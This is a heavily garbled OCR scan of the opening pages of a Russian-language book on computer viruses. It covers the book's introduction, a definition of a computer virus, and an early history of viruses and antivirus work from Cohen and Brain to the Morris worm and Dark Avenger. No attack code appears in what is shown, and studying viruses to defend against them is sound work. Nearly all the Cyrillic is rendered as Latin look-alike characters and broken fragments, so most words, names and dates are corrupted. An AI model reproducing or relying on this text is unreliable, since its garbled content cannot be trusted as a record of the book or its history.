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..To j iu m u  pyKOMU, xumpocrrib n pom u e  x u n tp o - 

cmu, pa3y.u npomue uucmuuKma, cum  npomue 
c u jiu ,  m poe  cym oK  n e  ocmanae.niteojicb, mamt>  

ojieusi uepe/3 6ypeJiOM, Hacmumyrm u noeanumh 
n a  3eMJiK>, cxea m u e  3apoza...

A. h  5 . CTpyraipa*e. « 0 6 HTaeMMii ocTpoB^

BBeAeHMe
TeMa aaiUHTbi K0Mnbi0TepH0H iincjxipMaUMH CTajia OHCHb nony.’iHpHOH 
b nocJieziHHe ,necflTHJiextra. CBsraaHO sto npe>K;ie Bcero c noBceMecTHMM 
pacnpocTpaHeraieM buhhcjiHTe JibHoh tcxhhkh, Biie/tpeHHeM ee npaKni- 
■lecKii bo Bee ccfxipbi He.ioBcHccKofi ae«Te;ibH0 CTH. J ]io6bie HapyuieHiia b 
pa6oTe Bbi'ihcjiirre;ibh mx chctcm c KaacflbiM ro/io.M CTaHOBHTCH /uim hcjio- 
BeKa Bee 6ojie3iieHHee h onacnee.

O / iH o ii i i3  a K T y a j ib H e im m x  n p o o . ’ieM . cB flsa H H b ix  c o  «3 ,a o p o B b e M » 

KOMITblOTepOB, HBJUKTCtf n p o d lC M a  3aiHHTbI HX OT KOM riblOTepHbIX B i i 

p y c o B . IT o c j ie  2 6  a n p e ;ra  1 9 9 9  ro/ta, K o iv ia  c o t h h  r a c a ' i  I I 3 B M  b  M i ip e  

6 b ijin  B b iB e^ en  bi n a  cT p oH  b  pesy.n 'bTaTe a m B a m m  B H p yca  W i n 3 2 . C I H  

(< s .H e p H o 6 b M b € K o ro » ).  b  3 t o m  y>Ke h h k t o  H e co M H eB a eT ca .

Ho TiocTOBepHoii h . rviaBHoe. no/re3Hoii HH(|)opMauHH no BHpycojio- 
niHecKoii Te.viaTiiKe neMHoro. CymecTByromne >Ke nyojiHKamin mojkho 
ycjioBHO paa/teJiHTb Ha uBe rpynma.

IlepByio cocTaBJUiioT Kimm h cTatbii, HamicaHHbie «opToaoKcaMH» -  
aBTopaMH ii3BecTHbix aHTHBHpycHbix nporpaMM h coTpyamiKaMH opra- 
HH3aUHH, 3aHHMaiOmilXCH 3aiUHT0H KOMnblOTepHOH HH<f)0pMaUHH. KaK 
npaBHJio, 3Tii ny6jmKamm paccmiTaHbi Ha MaccoBoro HHTaTe^a h Ha- 
npaB.ieHbi Ha cjxipMnpoBaniie y Hero .miiib MHHHMa.ubHo Heo6xoziiiMO- 
ro ypoBHH aHTHBHpycHOH rpaMOTHOcTii. TexHH'recKiix /leTaJiefi b Taiaix 
ny6jiHKau,H5!x Majio, a KOHKperaafl HH(}:>opManHH cbo/ihtch k omicaHHio 
BHCUIHIIX npOHBJieHHH pa3.1HHHblX BiipycoB H IipaBHJI paOOTbl C TeMII H.1H 
HHblMH aHTHBHpycaMii.

/Ipyraa rpynna nyojiHKanHH np«Haa.aeacHT nepy «3KCTpeMHCT0B». 
3 tii pa6ora coaep*aT /(0craT04H0 noapooHbie onHcanHa KOHKpeTHbix 
a.nropnTMOB, iicxo^Hbie TeKCTbi BiipycoB, coBeTbi no hx pacnpocTpane- 
hhio. KaK npaBHJio, aBTopaMH hbjdhotch jhoah, HamicaBume HecKOJib- 
ko npocTbix BiipycoB ii ropamiie ace;iaHiieM zionecTH cboc «VMeHne» ;;o 
Bcex /KCJiaKJinHX. Khhiti ii CTaTbH no/tooHoro copTa paccviiTanhi ripenMy- 
mecTBeHHo Ha HeBSbicKaxe.ibHbix juooirrejieii «acapeHoro». Cooraer-
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CTBeHHO, B HHX CO#ep>KHTCfl C/IPIUIKOM MH0r0 3M0UHH H CJIHIUKOM MajIO 
fleftcTBHTejibHO noJie3Hoii HiicfxipMamiM.

Kraira, Koxopaa Jie^ciiT nepe/t bemh, He othochtch hh k nepBoft, hh 
ko BTopoft rpvnne. Abtop nocxapajica npoiixH no ysKoft rpami Mex/iv 
<s6e30TBeTCTBeHHbIM nO/JCXpCKaXe.XbCXBOM K HanHCaHHK) BHpyCOB» H 
«xaHacecKHM VMOJiManneM Heo6xo/uiMbix noapo6iiocxeii>>. B  KHHre pac- 
CMaxpHBafOTC>i 0CH0BHbie npiiHUHnbi opraHMaaimn KOMnbioxepHbix bh- 
pyCOB, MCTOZIHKH HX o6napy>KeHMH, H3yHeHIlfl H o6e3Bpe>KHBaHHa.

HyacHa jih TaKaa Kiinra? npejicxaBJiaexcH, ’ixo npocTO neo6xoaHMa.
Ilpeacfle Bcero, 3HaHHe xexHimecKiix nozipo6HocxeH ycTpoftcxBa Biipy- 

cob h npHHUHnoB hx ooh apy >kohha n0M05KeT nojjb30Baxe/[io rpaM0TH0 
nocxpoiiTb ii Hcn0„>ib30BaTb aHxiiBHpycHyro 3amiiTy.

Bo-BTopbix, He;n>3ji HCK.nioHHTb cirryamiio, Kor/ia BHpycojior-npo(}>ec- 
cuoHaji npocro 4>H3HHecKii He ycneex npiifixii Ha noMomb, h paccHHXbi- 
BaTb b yc.'ioBHHX aeffiiiHHTa BpeMeHH iipuziexca xojibKO Ha cboh chjim. 
3H3HHH ii VMenHH. TaKaa KHHra mojkcx noc.nyjKHXb b KanecxBe y iie6miKa 
h cnpaBOMHHKa no caMocxoaxeJibHOMV peuieHHio npoSjieMbi.

B-xpexbnx, KOMnbioxepHaH BHpycoJionin uinpoKo npHMeiwex mexo/ibi 
caMbix pas.xH'jiibix o&.nacxeii 'ie/iOBeHecKoro 3HaHHM: xexHHKii, HH(|>op- 
MaxHKH ii MaxeMaxHKii. HayfeuHe ycxpoficxBa BHpvcoB n ripHHumiOB hx 
pacnosHaBaHiw noMoacex cymecxBeHHO noBbicHXb cboio KBa/rncjjHKamno.

B-’iexBepxbix, b HacxoHinee BpeMH Ha3pejia ocxpan Heo6xoflHMOC/rb 
b ciieiiHajiiicxax, KOMnexeHXHbix b onjiacxn KOMnbroxepHon BHpycojio-
rHH, HO npOH3BOaMXe.TM KOMMep'ieCKHX 3HXHBHpyCOB ;ie.L5)XCH CBOHMH 

3Haima,Mn h VMetmnMH .’iumb c y3KHM Kpyro.M «riocB>imeHHbix». H e  Ha- 
cxajia .in nopa pacKpbixb Henoxopbie iix ceKpexu?

HaKOHeu, H3VHaTb Miip KOMribKJxepHbix BHpycoB npocxo oneiib HHTe- 
pecHo!

MxaK, b KHHre paccMOxpeHbi Bee xnnbi caMopa3MHo«aiomiixcH npo- 
rpaMM, rro;iyMHBmHX pacripocxpaneHJie b noc/ieflHioio HexBepxb BCKa:

O  3arpy304Hbie Biipycbi; 
O  (J>aH.!iOBbie Biipycbi ajih M S -D O S ,  W in d o w s  Bcex Bepcnw h U N I X -  

rio/iooHbix onepam ioHHbix chctcm; 

O  M aKpoBiipycw 11 jih  M S  O ffice;

O  c e x e B b ie , n o n x o B b ie  ii «Mo6iuibHbie» nepBH;
O  «3K30XIIHeCKHe» xiinu BHpyCOB.
Taic Ha3biBaeMbie ^xpoHHCKHe iiporpa.MMbi», He cnocoonbie k ca.vio- 

cxoaxe;ibHOMy pa3MH0>KeHHf0, b KHHre He pacc.viaxpiiBaioxcH.
II pH Be^eim  Heo6xo;(HMbre cBeaeHiia no ciicxeMHoii opraHH3am m  

pa3JiHMiibix cpea, npHro^Hbix cymecxBOBaHiui KOMnbroxepHbix bh-
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pycoB, -  HocHTe/ieft HucfjopMauHH, onepaiiHOHHbix CHCTe.M, naKeTOB 
npHK/ia/nibix nporpaMM. Taicace 3Ha'mTe,'ibHa» nacTb khhih nocBHmena 
paccMorpeniiio MareMaTHHecKHX npnnnnnoB h KOHKpeTHbix ajirepiiTMOB, 
JieacaiUHX b  0CH0Be noncKa, pacno3iiaBaHHJi h yflajiemia Bpe/j0H0CHbix 
nporpaMM.

Konemro, KHiira paccHHTaHa Ha ;jocTaTo'mo KBajiH(f)HHHpoBaHHoro 
HiiTaTejM. Heooxo/oiMo BJiaaeuHe nporpaMMiipoBaHiieM Ha H3biicax Ch h 
Acce.\i6jiep i80x86/Pentium xoth 6bi Ha ypoBHe iiHCTHTyTCKiix Kyp- 
cob. } { j \u  aAeKBaTiioro BocnpHOTiiH MaTeMaTiiHecKHx acneKTOB iie;imn- 
HIIMH o y n y i' 3H3HHH B paMKaX IIHCUHn.lHH «/lHCKpeTHaSi MaTCMaTHKa* 
h «,ZlH(J)4>epeHUHajibHbie ypaBHemraK iirmraeMbix Ha MJiaflumx Kypcax 
TexHHHecKiix By30B. Ho aBTop HaaeeTca, hto sto  He cTaHe.T npenaTCTBii- 
eM RJifi HbiTJiHBoro tfHTaTCJiH, >tcejiaiomero 3aHHTbca yb/ickaTe.ibHeftuih,\f 
3aHHTHCM -  OXOTOH 33 KOMnblOTepHblMH BHpyCaMH.



TAABA

O 6 lum0 CBeAem/m 
O KOMnbiOTepHbix

Bupycax
B cpe/ie KOMIIblOTepHOH II OKOJIOKOMnblOTepHOH 06meCTBeHH0CTH CjIO- 
>KiiJiocb ripeacxaBJieHfie o KOMnbiOTepHOM Bupyce KaK o HeKoeM Heyjio- 
BHMOM 3.JI€*KTpOHHOM MHKpOOpraHH3Me, nyTeilieCTBVFOIHeM C ManiHHbl Ha 
Mammy h Heo6paTHMo pa3pymaiomeM see, ao Hero cnocooen AOTHHVTb- 
Cfl CBOHMH OTpaBJieHHblMIi BHpTVa.'IbHbLMM KOI'TOMH. A IIO CTpaHHIjaM 
MajionayHHo-tjjaHTacTHHecKiix npoH3Be,'ieHnii h uy/ibBapirbix »cypnajioB 
KOHVIOT «6oeBbie Blipycbl» H «BHpyCW-y6llHUbI», HKOObI pa3B0flHMbie H 
HcnojibsyeMbie nexopouiHMM xanepaMH ;uia cbohx 3,’ioBemnx ne;ieH. 

t1to ace iipeflCTaBJiaioT co6oh KOMnbroTepHbie BHpye.H Ha caMOM ae.ne?

1.1. H t o  T a K o e  « K O M n b K ) T e p H b i M  B n p y c »

I lo x a jiy u c m a , m oida  etufi od u o  on ped e.im u e , 

o w n b  eo3euuieHHoe u  6 jia zopo (tm e .

A. ii 6. CTpyrauKiie. ^ I Ih k h h k  H ao fk m m e*

Ecjhi yr;iy6iiTbCH b hctophio riponcxo/Mennfl c.iOBa «BHpye», to  mojkho 
OTMeTIITb, HTO «HaCTOHIUHe» 60Jie3HeTB0pHbie BHpyCbl, TO eCTb CJIO/KHble 
MojieKy.ibi, napa3HTMpyiomne Ha jkhbhx KJierKax pacTemiH h opramu- 
MOB, nO.HyHH.1H CBOe HailMeHOBaHHe B COOTBeTCTBHH C JiaTHHCKlIM CJIOBOM 
virus, KOTopoe ;ioc,tobho nepeBOflHTCH KaK 3 to t  TepMHH npiiHa/yie-
>kht rojuian/my MapraHV BewepwFiry, KOTopbra b caMOM Koime XIX BeKa 
b HayHHOH fliicKycciiH c nepBOOTKpbiBaTejieM BHpycoB pyccKHM yneHUM 
l { .  H. HBaHOBCKiiM oTCTaimaji mnoTe3y, hto o6napy>KeHHbie uraaaojiro 
AO 3T0TO CTpaHHbie MHKpOCKOnHHeCKHe OO'beKTbl HBJIHfOTCH HAOBHTbl-



16 ❖  06aivie CBSAeHUP o KPMnbioiepHbix a/ipycax

m h  BemecTBaMH. HBaHOBCKHH ace c'-inrail, h t o  o h h  «>KHBbie» h  n oaxo - 

\iy ripezicTaBJisiioT co6oii He «B em ecx B a », h o  «c y m e c x B a » .  B H acT oam ee 

BpeMH npii3H aH o, >ixo BHpycw h  He «B em ecx B a », h  He «cymecxBa». 3xo 
aBTOHOMHbie « o 6 j io m k h »  i i  «H cn op 'feH H b ie  flexaJ iH » Hac.ie/jCTBenHoro 

annapaTa k j ic x o k , cnoco6Hbie BHe^pHTbca b  JKHByio KJieTKV h  «riepenpo- 
rpaM M HpoBaTb^ ee  TaKiiM  o6pa30.w, 'It o o w  OHa BocnpoH3BOAHJia He ceon , 

a Bee HOBbie h  HOBbie « o 6;io m k h »  h  «/iexa;m».

P m c . 1.1 ❖  «HacToniMMPt» Bupyc u e ro  nepBOOTKpbiBaTenu:
a) Bupyc «Ta6aHHoPI M03anKn»; 6 )fl. M. MBaHOBCKHH; b) M. BeiiepuHr

TaKHM o6pa3GM, b iiohhthh <• mipyc» rjiaBHbiM ceiiMac cimaexcM He 
fl/IOBHXOCXb H BpeflOHOCHOCTb. a CII0 C0 6 H0 CTb K CaMOBOCnpOH3BefleHII to.

Mxajs, KOM nbiDTepHbifi B u p y c  -  sto:

nporpaM M a, c n o c o d n a a  k  HecaHKunoHnpoBam -ioMy coajnaHMio c bo h x

CpyHKUMOHanbHO M eHTlM HbIX KO nm .

B aaHHOM onpeae/ieHMM paccMOTpHM no;ipo6uee Tpn icxioHeBbix rio-

Bo-nepBbix, ochobhhm onpeAeJiaiomuM npn3HaK0M BHpyca flBjinex- 
ch yMeHHe BocnpoH3Bo^HTbc>i, reHepHpoBaTb ce6e noao6Hbie o6teKTbi. 
Hmchho 3Ty MacTb oripefleJieHHH HMeJi b bh;iv b cepe/tune 80-x ro;iOB ane- 
pHKaHCKHH MdTCMaTHK CD. Ko3H, BnepBbie B HCTOpilH IipOH3HeM CJIOBa 
«KO\mbioTepHbiH Bupyc* (xoth  ca.M oh yBepaeT, hto aBT0pcTB0 TepMiiHa 
npHHafljie>KHT ero Kojuiere /I. A;i;iOMaHy). B xe roabiB03M0acH0cxbcyme- 
cxBOBaHHH BHpycoB paccNiaxp 11 BaJtacb b ochobhom TOJibKO xeopexiiMecKH, 
h ajiropHXMbi hx cf)yhkuhohhpo (san ha oriHCbiBa.xHCb He Ha H3biKax npo-

a 6 B
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rpaMMiipoBaiiHfl, a b  xep.viHHax cHCTe.Mbi KOManj Maxe.MaxiiMecKnx <J>op- 
Ma.TO3MOB THna <<MaUIHHbl TblOpHHra* HJIH «HOpMaJIbHbIX aJiropHTMOB 

MapKOBa».
B O 'B T O p b lX , nOHHTHe «(|jyHKi;HOHaJIbHO[T HiieHXHHHOCXH» KOnHH BH

p y c a  B B eaeH O  b  o n p e a e j i e m ic  b b h a y  T o r o ,  h t o  c y m e c T B y e T  K J ia c c  TaK  H a- 

3 b iB a e M b ix  noJiUMop4>Hbix B iip y c o B , ^ B a  p a a j in 'in b ix  3 K 3 e M iu m p a  K 0 T 0 p b ix  

B H e iu n e  M o ry T  He H M eTb HHHero o 6 m e r o ,  h o  Bbinoiiiwiox ozihh h  T e  ace 

A eftcTBH H  b  cooTB eTC TB H H  c  oflHHM  h  T e\ i >Ke a jiro p iiT M O M . TaKH M  o 6 p a -  

30M. IIOJIH M Op^lH bie BHpycbi HfleHXIIHHbl TOJIbKO C TOHKH 3peHHH BbHIOJI- 

HHeMhlX HMH (JlVHKHHH.

HaKOHeu, noH STue <sHecaHKUH0HHp0BaHHbiii»  o^iraHaex, mto  Bbirne- 

yrioM H H yxoe co3/iaim e c b o h x  Koraiii iipoM cxo;iH T  BHe 33b h c h m o c x h  ox  

>KeJiaHH}i riojibaoBaxe.xa. JIio6a>i yiia jfca iom aji c e6 a  onepau H onnaH  cucTe- 

\ia (H anpH M ep, M S-D O S) xoace c n o c o o iia  KomipoBaxb caM oe ce6 a , ho  

BHpycoM He HB.iHexcH, riocKOJibKy n p o u ecc  axox n p o H cxoa w x  c Be^oMa 

HeJioBeKa.

Ox KQMnbioTepHbix BH pycoB iieooxo/ui.vro ox jiiinaTb  xaK  Ha3HBaeMbie 

mposiHCKue n p ozp a M M u , He oo jia/ ia io iiu ie  c n o c o o n o c x b io  k  caMopa3MHo- 
JKeHiiio h  n p ea iia a iia 'ien n b ie  HCKJifOHHxeJibHO r j ih  Bb inojm eH H fl HecaHK- 

HHOHiipoBanHbix (K aK  npaBHJio, flecxpvKXH BH bix) je iicxB H H . >Kypna- 

JiHCTbi h  Ma.xoKBa.n:ii4 iHUHpoBaHHbie n 0.7ib30Baxe.xn n acxo  cM em iiBa iox 

noHHTHH BHpyca h  TpoflH CKoii nporpaM M bi. A Be;tb m ok/ iv  «B iip y c a M ii»  

h «Tpo»Ha.MH>> xaKaa x t  paan im a, KaK \ieacay « 3apa30H »  h  «o x p a B o ii» .  

M b i ace He roB op iiM  «oxpaBii.xcH rpnnnoM>> h jih  «3apa3H.xca uiiaH iicTbiM  

Ka;iHCM>, BepHo? Bot h  He H aao nyTaTb!

K n a cc  xpoHHCKiix nporpaM M  iiaMH paccM axpuB axbca He 6yaex .

1 .2 . H e c K O A b K O  M C TO pM H eC K M X  3 0 M eH 3 H M M

9mo djiuHHax ucmopux, mmopym k moMy Me 
u3J0Mumb g ootuenpuHsinibLx ntepMunax ouem 
mpydHO.

A. h B. CrpyranKHe. «XpoMascv7tb6a»

CymecTByex m h o k c c t b o  b 3i'jih/io b  na n cx o p n io  b o s h h k h o b c h h h  h  pa3- 
BHXHM npo6jieMbl KOMnblOTepHbIX BHpyCOB, /lOBOJIbHO CHJIbHO pa3JIHHai0- 

1UHXCH b  oxHomeHHH xoro, KaKHe co6b ix iiH  cjieAyeT cHHxaxb / leiicxBHxejib- 

ho  BaacHbiMii, b  KaKon riocjie/tob a xe ji b h  o c x h  h  Koraa o h m  npoHcxo^HJiH, 
aa i i  npoH cxojiH Jih  jih  nooome. IlonbixaeM CH  h  m m  ;iaxb  KpaxKHH onepK  

3X0H HCTOpHH, OCHOBaHHbli! Ha CHHXese pa.3JIHMHblX MHeHHH. J 1 Li Of)
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flpoKzie Bcero cjieayeT oTMeTHth, hto naea KBa3H>KHBHx KOMnbiOTep
Hbix 0praHH3M0B 6biTOBa.Ta b xyao>KecTBeHfioH jiHTepaType ii b Macco- 
BOM C03HaHHH 33/10,1 [’O flO TOrO, KaK IIOHBVUICH liepBblft «HaCT0HlUHH» 
KOMnbK)TCpHWH BHpyc. H. H. Be3pyK0B /iJia aoKaaaTe/ibcTBa stoto Te3iica 
ccbiJiaeTca Ha iiHocTpaHHbie h c t o h h h k h  [3 ],  ho  mojkho iiaiiTH h  OTenecT- 

BeHHbie npHMepbi. HanpHMep, b f^airracrHMecKOM paccKa3e /I. EifJien- 
KHHa «Omioco4)HH HMenit», HanHcaHHOM b KOHue 70-x ro/tofs X X  BeKa, 
CHCTeMbi ynpaB-iCHHH 3Be3,T0Jiera no^BepraioTCH aTaKe co cTopoHbi kh- 
OepHeTIIHCCKHX MHKp00praHH3M0B. B03HHKIHHX B pe3VJIbTaTe «MyTaU.Hil» 

3amHTH0-peM0HTHbIX MHKpoycTpoiicTB Kopa6jifl.
KpoMe Toro, k momctitv cosaaimfl nepBoro «HacTo»mero>> Biipyca yace 

cymecTBOBajio m hojkcctbo aHa;iiiTHHecKHx (HanpiiMep, pa6oTbi (J>oh Heii- 
Mana) ii nporpaMMHbix (HanpiiMep, nepBH Creeper h X erox ) Moaanefi, 
coaepacamnx n/ieii caMOKonnpoBaHHa KOMnbiorepHoro Ko^a. OrpoM Hyio  

pojib B pa3paooTKe h nsy'fCHHH TaKnx Mofle.fieH cbirpaji aMepHKancKHii 
MaTeMaTHK O .  KoaH. O h  b nepBoft nojioBHHe 8 0 -x  ro^oB  X X  BeKa aicraB- 
ho H3y'ia_'i caMopa3MHo>KaromHeca KOMnbioTepHbie MexaHH3Mbi c Teope- 

TH'iecKiix no3iiiiiiH, 0ny6jiHK0Ba;i necKo.TbKo HayHHbix pa6or h 3aimiTii/i 

b 1986 r. na 6a3e yHHBepcHTeTa IO>khom Ka/incjKtpium /(oktoj)ckvio m c -  
cepTanHKj Ha Bnpyco.ioniHecKyio TeMy.

HanpaiyieHHe pa6oT ® . Koona He 6bmo h h  k o t o  ceicpeT O M , o h  

aKTHBHO IIVD.THKOBajJCH B pa3JIIIHHbIX HayMHblX lI3.iaHHHX. I I0.3T0M V He- 
icoTopbie 3KcnepHMeHTbi no c0 3 / ia n mo KOMnbiOTepHbix BupycoB, cKopee 
B c e ro . 6mjih B b in o ;m e H b i iu o sb M H , 3H aK0M biM H  c e r o  pa 6 oT a M H . -  c t v -  

aenTaMH h  acriHpanTaMii vneonbix 3aBe;(eHnii. CnHTaeTCH, HanpHMep, hto 
BHpyc Leh igh  6bui Hajmcan b 1986 -1987  rr. cTyaeHTOM JlexaiicKoro v h h - 

BepcHTeTa no hmchh Ken van W vk c ue.nwo npakthheckoii HJunocTpamw 
TeoperaHecKHX pa3pa6oxoK 0 .  KoaHa.

BiiponeM, HCCKO.ibKO paHee (BepoHTHo, eme b Hanajie 1986 r.) abvmji 
naKHCTaHuaMii, 6parbHMH BaciiflOM h AM5KaaoM Ajibh, owji toa/iau h pac- 
npocTpaHMJiCH no  MHpy b 3arpy30>mbix ceicropax ahckct Biipyc B ra in , 

KOTopbra .miuib cnycTH HecKQJibKo MecayeB 6biji ooHapyaceH, ono3HaH 
HMeHHO KaK •SKOMIIblOTepiIMH BlipyC» H nOApo6HO H3}^eH B VHHBepCHTe- 
Te uiTaTa J],ejiaBap, CLLIA.

H3BeCTHHH pOCCIIIICKHH nporpaMMHCT AHT0H HhJKOB VTBep>KaajT, HTO 
npiiMepHO b to  >Ke BpeMH hm b HCCJieaoBaTeJibCKHx ue-isx 6bui HanncaH  

h pacnpocTpaHeH no KOMnbioTepaM m ockobckhx opraHimqmi 6e3biMKH- 
HMH H 6e3BpeflHUH BHpyc, KOTOpblil IipO/KHJI ffO K0HU3 FOfla H MHpHO Ca- 
MOyHHHTOJKIIJICH. Hh no/ITBep/lMTb, HH OnpOBeprHJTb 3T0r0 4)aKTa HH-
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k t o , KpoMe caMoro ^HJKOBa, He cnoco6eH -  BTe BpeMeHa BHpyco.nornM 
eme He cymecxBOBajia hh KaK HayKa, hh Kan npo<J>eccHH.

1987 ron npHHec eme psiii 3HaMenaxeJibHbix coohthh. Pa/rbcj:) Biop- 
rep ( lepMatiHH) onyojiHKOBa/r b cBoefi KHHre [36] Mexozi sapaaceHHfl 
COM-nporpaMM h ripiiBeji b KanecxBe npHMepa hcxoahmh tckct BHpyca 
Vienna.648, stko6h HanHcaHHoro kcm-to iipyriiM. B Mapaif/ie owjih co3- 
aaHM BHpycbi ce.MeiicxBa Jerusalem ( LIepHan naiHHua), b Hoboh 3ejiaH- 
aim -  BHpyc Stoned (Marijuana), a b FepMaHnn -  BHpycw ceMeftcTBa 
Cascade. SojibmiincxBo ynoMHuyxux B iip ycoB  oMenb 6mctpo pacnpo- 
CTpaiiH.TOCb no MHpy, a HeKoxopbie 113 hhx (HanpHMep, Biipycbi mhoi’o- 
HiicjieHHoro ceMeftcxBa Stoned) BcxpenaioxcH H3pe*xKa b aarpyso’iHbix 
ceKTopax iiHcicex ziaace cen'iac.

AflxopoB nepBMx BHpycoB no npaBy mojkho cyifxaxb oneHb xaJiaHx.w- 
bwmh nporpaMMHcxaMH, nocKOJibKy ohh caMocxoaxejibHO oxKpbiBajiH 
aoceJie HeH3BecxHtie oco6chhocxh onepaunoHHoii cncxeMW h yMHJincb 
no.iMOBaxbCH hmh. Ho ripiiMcpno k 1988 r. Ha^ajia CKjraawBaxbcJt cnxya- 
Uhh, Kor;ta b <<aukoh npHpoae» oKanbiBanMCb He xojibKo caMH Bupycu, 
HO H HX XlUaxeJIbHO npOKOMMeHXHpOBaHHbie HCXO^Hbie XeKCXbl. Vi. K3K 
cvieacTBHe, napajiy c opHrHHaJibHWMH pa3pa6oxKa\m cxajm noHBJWXbCH 
Bupycw, co3aaHHbie no H y x o u y  otSpaay 11 nofloonio, HanpHMep kjiohw 
BHpyca Vienna. Flo axowy noBoay xo>iexca ripouHXiipoBaxb B. B. Maa- 
KOBCKoro:

HenoBeK, BnepBbie (bopMynvipoBaBiuMM, h to  « flB a x flb iA B a  y e r t jp e » , -  
BeJWKMM MaTeMari/iK, e c / iu  a a x e  oh  n o J iyvw i 3Ty n c rn n y  H3 CKnafiu- 
BaHMHMByx OKypKOB c m y M ft  OKypKaMM. B ee MasibHeuLUMe/110/w ,  x o w  
6 bi ohm cKnaAbtBa/iM Men3MepMMO 60 /ibUJMe Bem,M, H a np w ue p  na p o -  
B03  c  nap0B030M , -  Bee STM m o a n  -  He MareM am KM ... H o  He h s a o  
OTveTHOCTb n o  p e M o n ry  nap0B 030B  n o c b i/is rb  b M areM am vecK oe  
odmecTBO M TpeOoaaTb, m o 6 bt ona p a c c M a rp m a jia c b  H a pn fiy  c re o -  
M eT pm vt JloSaneBCKoro.

Bhshmo, BHpyconHcaxejin He 6bum 3HaKOMbi c mhchhcm BejiHKoro 
coBexcKoro nosxa, noaxoMy kojihhccxbo BHpycoB, HanncaHHbix no mo- 
THBa.vi nyaciix pa3pa6oxoK, CTa.10 VBe.XH'iHBaTbca b reoMexptmecKoil npo- 
rpeccHH.

BnpoHeM, ziaJieKo He Bee Bnpyconncare;iM 3aHHMa/iHCb n.narnaxoM. 
Ba>KneHmiiM co6biXHeM 1988 r. mo>kho cnixaxb 3nn;teMHro opimiHajibiio- 
ro, HaMHoro onepe^HBinero CBoe Bpe.vm «c e x e B o ro  MepBH ■>, HarmcanHoro 
P. MoppucoM, acnnpaHXOM KopHe/nibCKoro ymiBepcuxexa (C IIIA ). 3xox 
BHpyc b xeneHHe HecKOJibKiix ffo>i6pbCKHx ziiiefi cyMe.x pacnpocxpaHnxb-
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c a  no yHHBepcHTeTCKHM h  kom m epneckhm  ceraM  CLLIA, KaHaztw h  n eico- 
Topbix a p y r u x  cT p an , 3 a p a 3HB 6 0 /ree 6000 KOMribioTepoB.

TatoKe k 1988 r. (no mhchhio H. H. Be3pyKOBa, [3 ]) cjie/iyer OTHecTii 
rrepBbie cjiynan npoHHKHOBeHHJi «HMnopTHMX>> KOMnbK>TepHbix B H p y c o B  

Ha TeppHTopnio CCCP. IllHpoKHii ofiiiiecTBeiiHbirf pe30HaHC noJiyiHJin 
3KcnepiiMeHTbi no ooitapy^eiiiiio h HayMemiK) BHpycoB, npoBOflHBiime- 
ca b 1989 r. bo Bpema pa6oTbi «jiexneH MeacflVHapoflHon KOMiibioxepHOM 
uiKOJibi» (r. Hepecjraiijib-3aJiecckhh ). H mchho b sth roflH nonBMjmcb 
nepBbie yflanHbie aHTHBiipyciibie nporpaMMH h nanajiH cKJia/iMBaxbca 
KOJIJICKTliBbl JIIOfleH, JO HaCXOfl IHdl'O Bpe.MeHH npOĈ eCCHOHaJIbHO 3aHH- 
MaiomHxcH pa3pa6oTKon cpe/rcxB anTHBiipycnoH samHXbi. Cpe;ui otb- 
HecTBeHHbix «BeTepanoB aHTHBiipycHoro (J)poHTa», KOTOpbie naqajiH 
cepbe3iio 3amiMaTbCH npooJieMoii aaiunxbi or KOMnbroTepHbix BHpycoB 
HMeHHO B Te roabl, MO>KHO OTMeTHTb KaK Zl H. Jl03HHCK0r0, E. B. Kac- 
nepcKoro, Ji. O. IpasiioBa. B. B. BoivtaiioBa, xaK h eme HecKOJibKO He Me- 
Hee apKHX nweH.

K 1990 r. b o  Bc.eM Miipe o h jio  co3jjaHo Bcero o k o jio  c o th h  B iipycoB , 
npmeM KaacflbiH hobwh pacnpocxpaHsuica npaimi'iecKH 6ecnpensiT- 
cTBeHHO, BbisbiBaH 6ojiee h jih  Menee m HpoKvio amiaeMino. CBasano s t o  

6 mjio npeacAe Bcero c He/tooxaxoHHoir HH ĵop.vmpoBaHHOCTbio no;ib3o- 
BaTejien 11 Hepa3BHT0CTbio cpeztcTB anTiiBHpycHOH samiiTW. Ho BCKope 
cHTyamia H3MeHHJiac-b. C oAHoii cxopoHH, ii0 Jib30BaTe;m naKOHeii-TO no- 
hhjih onacHOCTb oecKOHTpoJibHoro pacnpocTpaHeHHH BHpycoB, MHorae 
H3 KOTOphix coaep>KajiH BpeaoHocHbte (JjparMeHTU. C apyroii -  HanaJia 
HaCnparb o6opoTbi HH3.yctphh aHTHBHpycHoro nporpaMMHoro ooecne- 
ueuHa. B liameil crpane aKTHBHO Hcn0Jib30BaJiacb ycji0BH0-6ecmiaTHaH 
aHTHBiipycHaa nporpaMMa AidsTest /I. H. JIosnncKoro, HecKOJibKO Menee 
rionyjiHpcH 6bui naneT «,3 ,oKTop KacnepcKiiii» E. B. KacnepcKoro. 3a py- 
6c>kom .iHOTpoBajm KOMnjieKT Scan/Clean o t  John McAfee, Findviras o t  
Alan Solomon h Norton Antivirus or Peter Norton Computing (BnocJie;[- 
c t b h h  3Ta ToproBan MapKa CTa.na coocTBeiuiocTbio ijmpMbi Symantec). 
BnpoieM, noc.xe/iHiiii aHTHBHpyc \ior 11 «ne po/inxbe«», nocKOJibicy oyK- 
BajibHo napoii JieT paHee, b Konue 1980-x roaoB, IliiTep HopTon ny6jim- 
ho h rpoMorjiacHo saHBJiAJi o mhcJjhhhocth BHpycHoii yrpo3bi h cpaBHsi- 
BaJi ee c y r p 0 3 0 H KpoKoan.ioB, aniBymiix b Hbro-HopKCKoii Kanajui3auHH. 
Ho, k cyacTbio, 6bicTpo cooopa3HJi «hto noneM» h 6jiar0CJi0BHJi pa3BHTHe 
aHTHBHpyca, Ha3BaHHoro ero HMeHeM1.

1 KcTaxn, cn ycTH  15 JieT noHBHJmcb h  p ea jih n w e  coo6m eH n a  o  noHMKe aJumraTO- 

poB  b KanaJiH3amijjx a.wepHKancKiix ropo/toB.
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Paav.MeeTCfl, 6 oJ ie e  u m p o K o e  pacnpocTpaH eH iie  n o jiyH a jiH  B H pycw , h c -  

n o jib 3y iom H e c b o k h c  h  opHrHHajibHbie c n o c o 6bi pacnpocrpaH enH H  h 3a- 

pajKeHHH. C p e^ H  «;iaypeaToB>> 1 9 8 9 -1 9 9 1  rr. m o x h o  o tm c th t i>  npeam e 

B cero  BHpycbi «6o;irapcKOH c 6 opK H », cB>f.3aHHbie c pa3pa6oTKaMH Ta- 

,Tia irr/ iUBoro i i  m io a o b h t o t o  nporpaMMHcra no npoaBH iny D a r k  A v e n g e r  

